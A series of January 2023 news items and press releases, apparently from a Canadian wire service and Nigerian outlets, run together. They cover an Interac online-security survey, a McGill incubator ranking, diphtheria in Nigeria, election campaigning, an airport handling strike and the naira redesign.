Only one per cent of Canadians found login credentials for social media accounts as the most secure way to sign in to online services. While many Canadians would be supportive of using their bank login to verify their identity when signing in to other services, only about two in five Canadians (37 per cent) have heard of using financial institution credentials to verify one's identity during sign-in. This figure suggests Canadians would benefit from more education on the role trusted credentials can play during sign-in. Education needed to protect Canadians: Seven in ten Canadians (69 per cent) would like more information to be readily available on how they can protect their personal information online. Additionally, only 33 per cent of respondents claimed to know what to do next if their personal information or data has been stolen online. For more information on how to protect personal data, Interac encourages Canadians to visit In The Know .

About the Survey

Hill+Knowlton Strategies used the Leger Opinion online panel to survey 1,500 Canadians over the period of January 3rd to 6th, 2023. Sampling was done within age, gender, and region quotas. The length of survey was 10 minutes. Data was weighted on age, gender, and region according to 2016 census figures. An associated margin of error for a randomly selected sample of n=1,500 would be 2.5%, 19 times out of 20.

About Interac Corp.

Interac empowers Canadians to transact digitally with confidence by providing payment and value exchange services. In helping to develop the future of money, data, and verification in Canada, security is the core of everything we do. Through our privacy, fraud mitigation, governance, and verification and authentication services, we help keep Canadian customers safe and secure when transacting. With nearly 300 financial institutions connected to our network, Canadians choose Interac products over 20 million times a day on average to exchange money. Interac champions workplace culture and corporate citizenship based on the principles of responsibility, diversity and inclusion. We are proud to be one of Canada's leading and most trusted financial brands. For more information, visit our website.

SOURCE Interac Corp.

For further information: Media Contact: Interac Corp., 416-869-2017, [email protected]
UBI Global announced that McGill University's Dobson Centre for Entrepreneurship ranked as a World Top 5 University Business Incubator.

MONTREAL, Jan. 24, 2023 /CNW/ - The World Benchmark Study 2021-2022 analyzes the impact and performance of business incubators and accelerators. UBI Global's research team collects data via a comprehensive survey and analyzes programs separately according to university, public, private, and corporate groups. The study reviews more than 600 incubators and accelerators from over 90 countries. It ranks their impact based on key performance indicators such as economy enhancement, talent retention, competence development, access to funds, access to network, program attractiveness, and post-graduate performance.

Dobson Founders (CNW Group/McGill Dobson Centre for Entrepreneurship)

Ranking as a World Top 5 University Business Incubator highlights the importance that the Dobson Centre places on nurturing change makers' ambitions through innovative programming and a robust support ecosystem. McGill's Dobson Center is recognized for the quality of its programming and the strength of its community.

"It takes a community to transform innovation into a thriving, purposeful venture" says Marie Josee Lamothe, Directorship of the McGill Dobson Centre for Entrepreneurship. "We are especially thankful for all those who contribute to our programs and help us foster a strong community where Dobson Founders at all stages can learn to scale their endeavor."

The McGill Dobson Centre for Entrepreneurship plays a central role in advancing entrepreneurial innovation and discovery at McGill and within the international university ecosystem. To date, the Dobson Centre has supported the launch of over 400 active startups, which have raised over $2.2 billion in pre-seed funding, operate in 36 countries, and created over 8,000 jobs.

This recognition is an occasion to celebrate and thank our partners, contributors, investors, and donors and to be recognized alongside other fellow Canadian university incubators, highlighting their excellent work: University of Toronto Entrepreneurship (World Top 5 University Business Incubator), Centech (World Top 10 University Business Incubator), and Accelerator Centre and York Entrepreneurship Development Institute (World Top 5 Public | Private Business Accelerator).

Learn more on the UBI Global Benchmark 2021-2022 study.

About the McGill Dobson Centre for Entrepreneurship

The McGill Dobson Centre for Entrepreneurship is the hub of entrepreneurial activity at McGill University. Its mission is to find, teach, and develop world-class entrepreneurs at McGill through tailored education, applied entrepreneurial frameworks, and iterative mentorship. The McGill Dobson Centre for Entrepreneurship offers a programming portfolio to meet its mandate: the McGill Lean Startup Programs, the McGill Dobson Bootcamp and Cup, the McGill X-1 Accelerator, the International Pre-seed Funding Roadshow, and the Mentorship Circle. Find out more.

About the Desautels Faculty of Management

Since 1906, McGill's Desautels Faculty of Management has continued to be one of the top management schools in the world, offering programs at the undergraduate, master's, doctorate, and executive levels. The Faculty emphasizes the integration of teaching, research, and practice and applies a multi-disciplinary, holistic approach to identifying opportunities and solving problems. Find out more.

About McGill University

Founded in Montreal, Quebec, in 1821, McGill University is Canada's top-ranked medical doctoral university. McGill is consistently ranked as one of the top universities, both nationally and internationally. It is a world-renowned institution of higher learning with research activities spanning two campuses, 11 faculties, 13 professional schools, 300 programs of study, and over 40,000 students, including more than 10,200 graduate students. McGill attracts students from over 150 countries around the world, its 12,800 international students making up 31% percent of the student body. Over half of McGill, students claim a first language other than English, including approximately 19% of our students who say French is their mother tongue.

SOURCE McGill Dobson Centre for Entrepreneurship

For further information: +1 (514) 299-5315, [email protected]
The Nigeria Centre for Disease Control and Prevention has confirmed cases of diphtheria in Kano and Lagos states.

This is even as the centre said it was monitoring the situation in Yobe and Osun states where cases were being picked up.

Here are the 10 things you need to know about diphtheria disease:

1. Diphtheria is a serious bacterial infection caused by the bacterium called Corynebacterium species that affects the nose, throat, and sometimes, skin of an individual.

2. Diphtheria spreads easily between people through direct contact with infected people droplets from coughing or sneezing, and contact with contaminated clothing and objects.

3 . People most at risk include children and adults who have not received any dose of the pentavalent vaccine, people who live in areas with poor sanitation, people who live in a crowded environment, and healthcare workers exposed to suspected or confirmed cases of the disease.

4. The onset of signs of the disease usually starts after two to 10 days of exposure to the bacteria.

5. Symptoms of diphtheria include fever, runny nose, sore throat, cough, red eyes (conjunctivitis), and neck swelling. In severe cases, a thick grey or white patch appears on the tonsils and/or at the back of the throat associated with difficulty breathing.

6. Complications from diphtheria include airway blockage, damage to the heart muscle, nerve damage, and kidney failure. However, for some people, respiratory diphtheria can lead to death.

7. To prevent it, the Nigeria childhood immunisation schedule recommends three doses of pentavalent vaccine (diphtheria toxoid-containing vaccine) for children in the sixth, 10th, and 14th week of life.

8. Diphtheria treatment involves using diphtheria antitoxin to stop the bacteria toxin from damaging the body and using antibiotics to kill and get rid of the bacteria. The treatment usually lasts for two to three weeks.

9. Poor immunisation coverage can lead to a resurgence of the disease. Therefore, parents must ensure that their children are fully vaccinated against diphtheria with three doses of the pentavalent vaccine as recommended in the childhood immunisation schedule.

10. Individuals with signs and symptoms suggestive of diphtheria should isolate themselves and notify the Local Government Area authorities, state disease surveillance officer, or the NCDC through our toll-free line (6232).
The presidential candidate of the Peoples Democratic Party, PDP, Atiku Abubakar, has assured the people of Bayelsa State and Nigeria that he will engage in efforts that will end insecurity in the country if elected as President of Nigeria in the forthcoming 2023 general elections.

He also promised that his government will focus on restructuring the country.

The former vice president made the promises at the presidential campaign rally of PDP on Monday, at the Oxbow Lake Pavilion, in Yenagoa, the state capital.

He reminded the people that from the beginning of democracy Bayelsa State has been a bastion for PDP, and there was no need to leave the party for an opposition party because the state is one with the party.

He said: The future of the state and Nigeria is tied to PDP. I will unify this country because we have never been this divided. I will give everyone a sense of belonging if elected.

I will restore security, tackle the economy of the country; if you recall, from 1999 to 2015, we were the biggest economy of Africa, but since the inception of the APC the country has suffered economically. Therell be no more ASUU strikes when I am in power, and our students will continue to grow educationally like their peers in other countries.

He further stated: The people of the Niger Delta region need more restructuring than any part of the country. You will not need any government assistance at all times. I will need your support, and I assure you that we will lift the living condition of the people in the country.

Bayelsa State Governor, Senator Douye Diri, reminded that the PDP has once produced a president of the country from the state, adding that the only candidate who has keyed into what the Ijaws and Bayelsans want is Atiku, who has always talked about resource control.

He said: No other candidate has talked about the feelings of the people. Here in Bayelsa, they came with guns but today no more guns, its BVAS. We will defeat them all in the elections. The youths and women are all with us and they cant be deceived.

Governor of Udom Emmanuel of Akwa Ibom, who is the chairman of the PDP Presidential Campaign Council, PCC, stated that all other voices apart in the Niger Delta region apart from PDP are strange voices. We follow the voice of our leader, which is to follow PDP, he stated.

Senator Seriake Dickson, also assured Atiku: As you have all seen that Bayelsa State will continue to be a state ruled by PDP since 1999, it will not change.

He added that Bayelsa represents the soul of the PDP. Atiku is an original proponent of restructuring and he has been very supportive of this state, he said.
Titi, wife of Atiku Abubakar, presidential candidate of the Peoples Democratic Party (PDP), says her husband will lead Nigeria to greater heights if elected.

Titi said her husband has a covenant to do so much for Nigeria because of what he has benefited from the country.

The wife of the PDP presidential candidate spoke on Sunday at a town hall meeting in Lagos.

She told Nigerians not to be deceived because only her husband can lead the way.

My husband, Atiku Abubakar has a covenant with Nigerians, she said.

He promised his life to do so much for Nigeria because Nigeria has done so much for him.

Because of this, he has five-point agenda. He is a unifier, he wants to unify Nigeria. Atiku wants insecurity in Nigeria to stop and Atiku wants to restructure Nigeria. Atiku matches his words with authority.

Atiku wants to rescue, restore, restructure, rebuild and take Nigerias glory to greater heights.

He has done it before and he will do it again. It is only the person that knows the road that can show the way. Dont allow a blind man to lead you.

So, I am pleading with you, do not sell your birthrights and the generation yet unborn. Vote for the PDP on February 25 and March 11.

My husband, Atiku Abubakar is a good product to sell. if not, I wont be bold to come here to sell him. Only Atiku can do it. Do not be deceived.

If you vote Atiku, you have voted for me, your daughter and I will not forget you.

Titi said Abubakar has the experience to be president having been vice president for eight years.

She noted that her husband would create an enabling environment for women and youth to excel and would prioritise health, education, and security, and will fix the economy.
The Nigerian Aviation Handling Company Plc (NAHCO) staff members have suspended their industrial action embarked on in a bid to demand for salary increases.

The aviation workers, under the aegis of the national union of air transport employees (NUATE) and air transport services senior staff association of Nigeria (ATSSSAN), said the management of NAHCO had commenced negotiations with its workers.

Frances Akinjole, deputy general secretary, ATSSSAN, disclosed this to journalists on Monday.

It has been suspended, and they have agreed to commence negotiation on the salary issue with us, Akinjole said, giving updates on the strike.

Flights at the Murtala Mohammed International Airport were disrupted earlier today when the NAHCO staff members walked out of the international airport.

Several passengers were stranded at the international airport, moving about helplessly with their luggage.

The development grounded both inbound and outbound flight schedules.

Prior to the suspension, the management of NAHCO had held an emergency meeting to work out a payment plan for the striking staff members.

The company later confirmed that it was engaging with the striking aviation unions to end the flight disruptions experienced by passengers.

In a statement, Olusola Obabori, group executive director, NAHCO, expressed regret [for] all the inconveniences.

He said some of its clients were being put through a difficult situation by the insistence of some staff to embark on a strike action despite a subsisting order of court which restrained them from doing so.

Obabori added that the company was already engaging the unions and other stakeholders and was positive the situation would be resolved within hours.

We understand the power of negotiation. The company which has arguably the best welfare package among the local players in the aviation industry will do all that is absolutely necessary to make its workforce happy even as it delights its customers, he said.

This situation would be resolved speedily as it is detrimental to the staff, the company and its esteemed clients.

Last week, NUATE and ATSSSAN gave a five-day notice of strike to NAHCO management citing slow progress in negotiation for salary review.
The senate and house of representatives have asked the Central Bank of Nigeria (CBN) to extend the deadline for the withdrawal of old naira notes from circulation.

The resolution was passed on the floor of the senate and house of representatives on Tuesday.

In October 2022, Godwin Emefiele, CBN governor, announced the naira redesign policy which entails the issuance of new naira notes to replace the existing N200, N500, and N1,000 series.

The CBN said  N100, N50, N20, N10, and N5 notes  would continue to be in circulation while the current N200, N500, and N1,000 naira notes will cease to be legal tender in the country after January 31, 2023.

While moving the motion on the floor of the green chamber, Sada Soli, a lawmaker from Katsina, said the old naira notes should be phased out and not forced out.

Citing newspaper publications of January 24, 2023, the lawmaker said food prices have been affected in some areas because traders were already rejecting the old naira notes.

Banks and POS outlets are struggling with a shortage of the redesigned new naira notes ahead of the CBN deadline of January 31, 2023, consequently making it difficult for them to comply with the CBN directives as regards availability of the new notes for customers, he said.

He said despite several concerns and appeals by the national assembly, governors forum, the Bank Customers Association of Nigeria, and other stakeholders for CBN to extend the period for the swap of the new naira notes, the apex bank has remained adamant.

Femi Gbajabiamila, speaker of the house, said certain things should have been put in place before the policy was reeled out.

He said that based on available reports, there is a need to review the policy  and that does mean a failure on the governments part because even court reviews the its judgment

Following the adoption of the motion, the house set up an ad hoc committee chaired by Alhassan Doguwa to meet with managing directors of banks on Wednesday to ascertain if banks were hoarding the notes or if the CBN did not have enough to circulate.
The Central Bank of Nigeria has excluded mobile money/Point of Sales agents in Abuja and Lagos from its newly launched cash swap programme.





The development came as the January 31 deadline for the phasing out of the old N1,000, N500 and N200 notes approaches.





In a Frequently Asked Questions document released to selected agents and obtained by a source on Monday, the CBN provided some guidelines for the cash swap programme.





According to the document, only five banks have been approved to engage in the programme. They are: Access Bank Plc, Zenith Bank Plc, United Bank for Africa Plc, First Bank of Nigeria Limited, and First City Monument Bank.

It read in part, Not all agents can participate. This is open to only selected agents profiled by the super agent/MMO/bank and submitted to the Central Bank of Nigeria and participating banks (Access, Zenith, UBA, First, FCMB).





On the number of states selected for the programme, it read, Selected agents in all the 36 states (except Lagos state and FCT, Abuja). Lagos and Abuja agents are excluded from this.

It was also gathered that the agents are restricted from using the new notes for their regular transactions, only for the programme.





On where the agents can get the new notes, the document added, from one of these designated banks (Zenith, First Bank, Access, UBA, FCMB). However, you must have a bank account with that bank and your operators (super agent/MMO/bank) will have pre-registered you with the bank where you have an account.





It added, you must go to the bank you have informed operator (super agent/MMO/bank) of. That is where your agent details will be submitted to for verification when you get there to collect the new notes.





Also, each agents name, BVN number, and operators name are required before the new notes will be released.





The document added that the bank would also verify the agents picture and finger print.





The document also noted that an agent is expected to have a record of the customers Know-Your-Customer information, which includes name, phone number, bank, account number and amount.





It was also noted that why there is no restriction on how much a customer can deposit, only N10,000 can be released per customer under the cash swap programme.





The CBN also urged the agents to open a bank account or wallet for customers with bank accounts.





It was also learnt that an agent can only get up to N500,000 new notes weekly for the programme.





Also, each agent is expected to record all transactions performed with the new notes and submit the record to the operator (super agent/MMO/bank).

Regarding what happens if an agent uses the new notes for other purposes other than the new naira initiative, the document noted, There will be severe sanctions such as de-listing as an agent, withhold of any applicable benefit, de-list from future programmes, negative report to bank & CBN and other such penalties as directed by regulatory authorities.





In a memo by Moniepoint to their agents, agents were asked to collect BVN, NIN, or voters card details from customers paid new notes.





The memo read in part, The Swap should be in the form of PoS withdrawals only of not more than N10,000 per person. Any withdrawal more than N10,000 per person should not be paid with new notes.





Agents are also permitted to charge cash-out fees for the cash swap transactions but prohibited from charging any further commissions to customers for this service.





You are to collect BVN, NIN or votes card details from customers paid with new notes for weekly submissions to the CBN.





The CBN will continue to monitor implementation of the programme and provide further guidance as may be necessary.





The National President, Association of Mobile Money and Bank Agents in Nigeria, Mr Victor Olojo, told our correspondent that a proposed meeting with the CBN did not hold.





He further noted that the agents were still actively involved in the process and a framework had been provided to guide the programme.





The CBN when announcing the cash swap programme which began on Monday, noted that the initiative was aimed at enabling citizens in rural areas or those with limited access to formal financial services to exchange old naira notes for the redesigned notes. To promote financial inclusion, the CBN said the service was also available to anybody without a bank account.





It said agents might, on request, instantly open a wallet or account, leveraging the CBN tiered know your customer framework. This, according to the bank, will ensure that this category of the populace (unbanked citizens) is able to exchange or deposit their cash seamlessly without taking unnecessary risks or incurring undue costs.





The CBN also directed agents to sensitise customers to opening wallets/bank accounts and the various channels for conducting electronic transactions.
Chidi Mokeme, the Nollywood actor, has attributed his months-long acting hiatus to a condition called Bells palsy.

In a Channels TV interview , the film star revealed that he took a break from acting to undergo treatment.

Bells palsy is a medical condition that causes sudden muscle weakness on one side of the face.

In most cases, the weakness, the cause of which is unclear, is temporary and significantly improves over weeks.

The weakness makes half of the face droop. Smiles are one-sided, and the eye on the affected side resists closing.

Mokeme has been somewhat off the grid but acted in Shanty Town, a title released via Netflix on January 20.

Speaking on his hiatus, he recounted how dealing with Bells Palsy put him out of the acting profession for a while.

After we did the promotional tour for 76 and we were preparing to go for the Toronto International Film Festival in the UK, I came down with something called Bells Palsy. That was the first time I was hearing it, he said.

It comes like a stroke and affects one side of the face. The doctors felt it was incurable because they didnt know what causes it. Imagine what I dealt with as an actor coming down with something that affects your face.

I thought I could manage it and thought to come for the Lagos premiere of 76 but the attention was focused on the face. I knew it wasnt something I could work with. I took time off to sort out the problem.

I focused on doing my other business while I was trying to get my face back. Do you see what happened to Justin Bieber right in the middle of his tour? You have to cancel everything. You cant perform with your face drooping.




The Federal Government has said that all international travellers arriving Nigeria are now required to provide evidence of vaccination at the points of entry.

This is following the reported upsurge in COVID-19 in China, Japan, the United States of America and other countries.

The FG also said unvaccinated passengers arriving from other countries may have to be vaccinated at the airport.

The Director of Port Health Services, Dr Geoffrey Okatubo disclosed this at the ministerial briefing held in Abuja.

The government had in December relaxed the COVID-19 rules in the country.

It said all pre-departure and post-arrival PCR test requirements for all persons who are not fully vaccinated have been suspended and passengers will no longer be required to upload evidence of vaccination on the Nigeria International Travel Portal.

Chinas decision to relax its strict COVID-19 rules to curb the virus has forced many countries to impose restrictions on travellers from China amid fears of an increase in COVID-19.

Speaking on Monday, Dr Okatubo said As you are all aware that the Presidential Steering Committee announced the relaxation of the COVID-19 safety measures in Nigeria some few weeks ago. However, following the reported upsurge in COVID-19 in China, Japan, the U.S., and other countries, Port Health Services has continued to heighten surveillance at our points of entry. The port health services have resumed checks of passengers vaccination status, and we provide traffic data on inbound passengers from all over the world.

All international travellers arriving in Nigeria are now to provide evidence of vaccination at the point of entry and it was agreed that unvaccinated passengers arriving from other countries may have to be vaccinated at the airport.

The Minister of Health recently approved that Port Health Services should meet with other stakeholders such as the NCDC, the Ministry of Aviation, Federal Airport Authority of Nigeria, and relevant unions over the use of rapid diagnostic test kits for testing any suspected ill passenger at our points of entry.

Port Health Services officers are still positioned at the seaport and offshore platforms to screen all crew and passengers coming into the country.
The presidential campaign rally of the All Progressives Congress in Bauchi State was brought to an abrupt end by power outage on Monday.

The rally was going on at the Abubakar Tafawa Balewa Stadium, Bauchi, when the power supply ceased and the sound system went off and could not be restored.

The event commenced at 11.50am.

However, there was an outage when the Chairman of the Progressives Governors Forum, Atiku Bagudu, was making his speech at 12.20pm.

Shortly after, the electricity supply was restored and Bagudu came back to conclude his remarks.

But at exactly 1.10pm, the power supply again went off shortly after the APC National Chairman, Abdullahi Adamu, mounted the podium and began addressing the party supporters.

On the podium with the national chairman were the APC standard bearer, Bola Tinubu; his running mate, Kashim Shettima and his wife Nana, while Buhari, who was sitting at the VIP (Very important persons) section of the stadium, waited for electricity to be restored.

While Adamu, Tinubu, Shettima and others were on the podium, the power was restored again before it went off for the third time and all efforts to resolve it failed.

Also, the partys standard bearer could not address the mammoth crowd at the rally, following the departure of the President.

Buhari had arrived in Bauchi to lead the APC presidential and governorship campaign rally.





The aircraft conveying the President touched down at the Sir Abubakar Tafawa Balewa Airport, Bauchi around 10:20 am.





He was received by the Bauchi State Governor, Bala Mohammed, who is the Peoples Democratic Party candidate and his opponent in the March 11 governorship election, Air Marshal Sadique Abubakar (retd.).





Others, who were at the airport to receive the President include the APC chairman, Adamu; the Director-General of the APC Presidential Campaign Council and Governor of Plateau State, Simon Lalong; Senate President Ahmad Lawan; Speaker of the House of Representatives, Femi Gbajabiamila; former Chief of Defence Staff, Gen. Abdulrahman Danbazzau (retd.); Andy Ubah, Governors of Borno, Kebbi and Yobe states, Babagana Zulum, Abubakar Bagudu and Mai Mala Buni, respectively.





From the airport, Buhari proceeded to the palace of the Emir of Bauchi, Dr Rilwanu Adamu, for a courtesy visit and thereafter headed to the campaign venue.





Buhari was to officially present the APC candidates to the Bauchi electorate at the rally, from where he would depart for Lagos on a two-day working visit.





But after waiting in vain for power to be restored, the president marched to the podium and raised Tinubu, Shettima and the Bauchi State governorship candidate, Sadique Abubakars hands as a sign of endorsement.





He also went round the podium to show Tinubu and his running mate to the thousands of supporters who were becoming restless.





While that was going on, the technical team was running up and down trying to fix the outage but they could not.





Buhari, who subsequently left the stadium without delivering any speech, waved to the crowd as he headed toward his vehicle.





The rally ended shortly after the Presidents departure.





Other party chieftains who spoke at the event before the outage include the state Chairman of the APC, Musa Babayo; the state governorship candidate; the Chairman of the APC Presidential Campaign Council and Plateau state Governor, Simon Lalong; the Minister of Industry, Trade and Investment, Amb. Maryam Katagum; a former Bauchi state governor, Isa Yuguda;





However, thousands of party supporters who had gathered to show their solidarity and catch a glimpse at the president left in anger, confusion and disappointment.





It was also gathered that some youths vandalized and took away some of the iron barricades used for crowd control at the stadium.

A statement from the Tinubu Media Office signed by Abdulaziz Abdulaziz , said the APC standard bearer, who spent the night at the state capital, joined the party bigwigs to receive Buhari at the airport.

It explained that both Buhari and Tinubu could not address the rally due to an electrical glitch encountered mid-way into the programme, adding that the presence of the two leaders electrified the elated crowd which danced to campaign songs.

Addressing the rally, the President of the Senate hailed the President for discharging himself creditably and making the party proud.
Oladapo Apara, former managing director of Alpha-Beta Consulting, has endorsed the presidential bid of Bola Tinubu, candidate of the All Progressives Congress (APC).

In an article published in ThisDay Newspaper, on Sunday, Apara said Tinubu is the best man to succeed Muhammadu Buhari as president.

The former Alpha-Beta Consulting MD said he picked Tinubu as the most suitable contestant after a dispassionate assessment of all the candidates in the presidential race.

In 2020, Apara, who was sacked as the managing director of Alpha Beta Consulting in 2018, accused Tinubu of owning the firm by proxy, which led to his dismissal and withholding of his share profit for the period he worked for the firm.

He also made allegations of money laundering, tax evasion, forgery, and a number of other corporate fraudulent practices against the company and its owners.

In September 2022, Apara withdrew the case from the court after reaching an undisclosed out-of-court settlement with the former Lagos governor.

My choice of Asiwaju Bola Ahmed Tinubu as the best man for the job is based on a dispassionate assessment of his previous public office records and superlative antecedents, all writ large in Lagos state  Africas fifth largest economy were it to be a country on its own, Apara said.

My pick of Asiwaju Bola Ahmed Tinubu as the most suitable candidate for President in 2023 is also informed by a direct experience of the phenomenal Asiwaju Bola Ahmed Tinubu having worked with him for over twenty (20) years in various capacities, including at a point in my career when I worked at ALPHA-BETA Consulting, which company I eventually led as managing director/chief executive officer and honourably disengaged from in order to pursue other interests.

I make bold to say that the great successes we recorded at ALPHA-BETA Consulting, especially the exponential increase in the internally generated revenue (IGR) of all our clients  local and international have everything to do with the capacity and competence of Asiwaju Bola Ahmed Tinubu as a colossus in public revenue generation re-engineering.

Such was the undeniable results of ALPHA-BETA Consulting as a professional firm that many states in Nigeria across party divides discarded politics to engage ALPHA-BETA Consulting as their IGR consultants, including some West African nations.

As a humble recipient of a cache of prizes in financial management and intermediation in Nigeria and across the world, I am convinced that at this juncture in our national journey Nigeria needs a president prudent and pragmatic in financial management like Asiwaju Bola Ahmed Tinubu.

Asiwaju Bola Ahmed Tinubu is an extraordinary manager of human and material resources. As president, he would fix round pegs in round holes for a rapid socio-economic transformation of Nigeria into the country of our collective dreams.

He said Tinubu is a famous and credible name associated with big businesses on the global stage and as president, Nigerians are poised to see more foreign capital and investment pouring into the country like never before.




President Muhammadu Buhari, on Monday, in Bauchi State, said he has not disappointed Nigerians based on his campaign promises in the 2015 and 2019 elections.





I have not disappointed anybody, Buhari stated during his courtesy call on the Emir of Bauchi, Dr Rilwanu Adamu when he visited Bauchi in continuation of the All Progressives Congress Presidential and Governorship Campaign rallies.





On sighting the crowd who welcomed him in Abubakar Tafawa Balewa Stadium, Buhari claimed it was a demonstration of genuine love and loyalty to him from Nigerians.





This is according to a statement signed late Monday by the Presidents Special Assistant on Media and Publicity, Femi Adesina, titled, I have served Nigerians creditably, says President Buhari in Bauchi as he campaigns for APC.





The President said, I normally call on Emirs and Chiefs, whether on political or personal tours to states to show my gratitude.





I like to mention that between 2003 and 2011, I visited all the local governments, and in 2019, when I was seeking my re-election for a second term, I visited all the states of the Federation and the people that turned out to see me were more than what anyone could buy or force and there, I made a promise and pledge that I will serve Nigeria and Nigerians to the best of my ability and so far, I have not disappointed anybody.





Earlier in his welcome address, the Emir of Bauchi expressed delight over political leaders in the modern state system who honour the traditional institutions with a courtesy call.





According to Dr Adamu, it was a practical demonstration of love and respect for traditional institutions.





Using the Kolmani Integrated Project as an example, the monarch thanked the President for the landmark developments which his regime had brought to Bauchi State and the North East.





We cannot thank you enough and we follow the example of our Governor to express our greatest gratitude. We are also pleased that you have kept your promise of reforming the electoral processes through continuous and progressive reforms and by ensuring the independence of the electoral body, of which our son, Professor Mahmood Yakubu is the current head, the Emir stated.





The President thereafter proceeded to the Abubakar Tafawa Balewa Stadium, in continuation of the APC Presidential and Governorship campaigns.





At the rally, Buhari presented the Partys Presidential flagbearer, Bola Tinubu and his running mate, Senator Kashim Shettima to the electorate.





Senior government officials who attended the rally include the Senate President, Dr Ahmad Lawan, Speaker, House of Representatives, Femi Gbajabiamila, the APC National Chairman, Senator Abdullahi Adamu, Governors of Kebbi, Plateau, Borno, Yobe, and Jigawa States, Abubakar Bagudu, Babagana Zulum, Mai Mala Buni Abubakar Badaru, respectively.





Also in attendance were the APC governorship candidate in Bauchi State, Air Marshal Sadique Abubakar as well as other party chieftains.




Nollywood actress, Wumi Toriola, has finally reacted to rumours concerning her marriage, confirming that she has separated from her husband.

She also addressed allegations that she was violent during her marriage, stating that such allegations were false.

There had been rumours on social media concerning the actress marriage after she participated in a viral TikTok challenge where she claimed that she was single.

A famous blogger, Gistlover, had also hinted at the marriage crash, coupled with allegations that the actress display of violence led to the end of the union.

Clearing the air on the rumours, the Battle on Buka Street actress wrote on her Instagram page on Tuesday, There has been a lot of media attention on me lately regarding my marriage. Yes, it is true the marriage is over. We have gone out separate ways for over a year now. It didnt work out, there was no need for drama hence my reason for not letting my fans know.

But yesterday I saw a report where it was alleged that I was violent while the marriage lasted, and I used to beat my mother and my mother-in-law. It was reported that my ex allegedly concocted these lies.

For the record, I am not a violent person. I have not had to exchange punches with anyone and I was never violent in the marriage.

The most painful part of the report is that I used to beat my mother. This is not only a personal attack, it is satanic. It is against everything I stand for and believe. As a properly raised Yoruba lady, it is costly to lay your hands on your parent.

As a matter of fact, my mum has been late for over 20 years. And I never raise my hands against my mother-in-law. It never happened, and it will never happen. My family members, my exs family members, and our neighbors can testify to that.

I wish those who started the rumour and those spreading well and pray that God rewards every one of us according to the works of our hands.

As for me, I am focused on the next level, and I have moved on from the past. I advise everyone else to do the same.

Toriola married her husband on May 13, 2018, and they have a son together.
The workers of the Nigerian Aviation Handling Company Plc (NAHCO), have called off the industrial strike they embarked upon in the early hours of Monday.





This follows a communique signed by management of the company, unions representatives and regulatory agencies, in which it was resolved that the workers call off the action and resume work immediately.





The management of NAHCO, at the meeting, held at NAHCO Aviance House, Ikeja, agreed to withdraw the suit it filed against the unions at the National Industrial Court.





Also, the parties agreed that negotiations on staff welfare would resume on Jan. 25 and be concluded within the week.





It was also agreed that no member of staff would be victimised for participation in the strike action.





Dr Sola Obabori, Executive Director, NAHCO, apologised to passengers and clients who were affected by the strike action and expressed appreciation for the understanding they showed.





He reiterated the companys commitment in providing excellent customer experience to its clients and the large community of airline passengers who are dependent on its services.





NAN reports that staff of NAHCO went on strike early Monday, alleging failure of the management to attend to their conditions of service.





In view of this, flights at the Murtala Muhammed International Airport were disrupted.





NAHCO staff are saddled with the responsibility of handling check in, boarding and ramp services for several international airlines.





The Monday strike and resultant flight disruption left several passengers stranded at the airport.(NAN)
Najatu Muhammad, a former senator representing Kano central, has been seen with Atiku Abubakar, presidential candidate of the Peoples Democratic Party (PDP).

Muhammad visited Abubakar on Sunday in Abuja where she reportedly pledged to support the former vice presidents presidential bid.

There is no official comment on her pledge to Abubakar but while quitting the ruling party, the politician said she was committed to supporting individuals truly interested in addressing the root causes of Nigerias challenges.

Quitting party politics at this point in time is one of such steps, she had said in a statement on Saturday.

We all recognise that Nigeria is facing many challenges, including insecurity, poverty, inequality, and lack of access to basic services.

Such challenges require the consolidated efforts of competent and patriotic leadership across every level of governance. Nigerians must be aware of the severity of their situation after the dismal failures of leadership the country has experienced over the years.

Nigerians must be aware of the consequences of their decisions and their choices.

Therefore, restricting ones choice to a single political party will be detrimental to the development of our country and our democracy.

As a Nigerian fighting for a better Nigeria, I am deeply committed to the struggle for a more just and equitable society. I believe that all Nigerians deserve the opportunity to live a life of dignity, security, and opportunity.




The National Association of Nigerian Students, NANS, has called for improved security in Ifite, a community close to Nnamdi Azikiwe University, Awka, where many students reside.





Ifite, in recent weeks, has recorded an upsurge in crime leaving many of the students victims of armed robbers. cultism was also rampant in the area with many killings registered, while some media organisations had reported rape against female students whose hostels were invaded.





In a press conference, the Financial Secretary of NANS, Zone F, Okafor Ernest, representing the NANS chairman of the zone, called for a reinforcement of security in Ifite.





He also absolved the police of blame over a recent attack on students living in the area, saying the attack, which the students had erroneously attributed to men of the police force, was after all, an attack by robbers who stole from several students in their hostels.





According to him: We have investigated the incident, and we are convinced that it was not the police that raided students lodges. It was robbers that attacked the students. We apologize for all damages our allegation may have caused the police.





We also want to say that there was no rape in any lodge in Ifite as reported by some news organisations. The rumour is fake. We visited most of the lodges and interviewed students and came to the conclusion that it was [an] armed robbery attack and not police raid, and no rape was recorded.





He further appealed to the police to step up security around the community.





We know it is a herculean task to provide security, but they should deploy all deployable to secure the students in Ifite, he said, calling on the Inspector General of Police to also site a police division here in Ifite and let it cater for the security challenges that we have.





The president of the Students Union Government, SUG, of the institution, Charles Obinna Ijeoma, who reinforced the call by the NANS chairman, called for the construction of more hostels within the campus to help students live in a more secure environment.





This is a federal institution and we expect the Federal Government to act to secure students. We have land everywhere in the institution, and I wonder what it is meant for, if not to be developed? he stated.




Nigerians in South Africa on Tuesday decried the invasion of the Nigerian Consulate in Johannesburg.





City Power officials and Metro Police Department personnel stormed the premises to disconnect electricity over alleged unpaid bills.





The Nigerian Citizen Association South Africa (NICASA) described the action as retrogressive, xenophobic and avoidable.





A statement by the associations Secretary General, Kazeem Tunde said City Power was out to disgrace Nigeria and its nationals.





NICASA maintained there cannot be any plausible excuse to warrant the occupation of the mission.





The police can as well go into any consulate to make an arrest without respecting the Vienna Convention on consular relations, Tunde noted.





The body advised both countries to sanction those responsible for the reprehensible action to prevent a recurrence.





It urged Nigerians to remain calm as the matter was being handled through diplomatic channels.





The National Association of Nigerian Students South Africa also expressed displeasure over the incident.





A statement by Abdulrazak Abubakar and Olusegun Ajayi, the President and Secretary General, called the situation embarrassing.





It condemned the clear deviation from the diplomatic respect and absolute attempt to humiliate the consulate.
The New Nigeria Peoples Party, NNPP, presidential candidate, Rabiu Kwankwaso on Monday faulted the collection of security votes by state governors.

Kwankwaso said he never collected security votes while he was governor of Kano State for eight years because it would amount to stealing.

The NNPP presidential candidate disclosed this during a town hall meeting in Abuja.

According to Kwankwaso: Security vote is stealing, that was why we never took security votes the eight years I was a governor. security starts with you as a person. I will do whatever it takes for our house to be in order in the area of foreign policy.

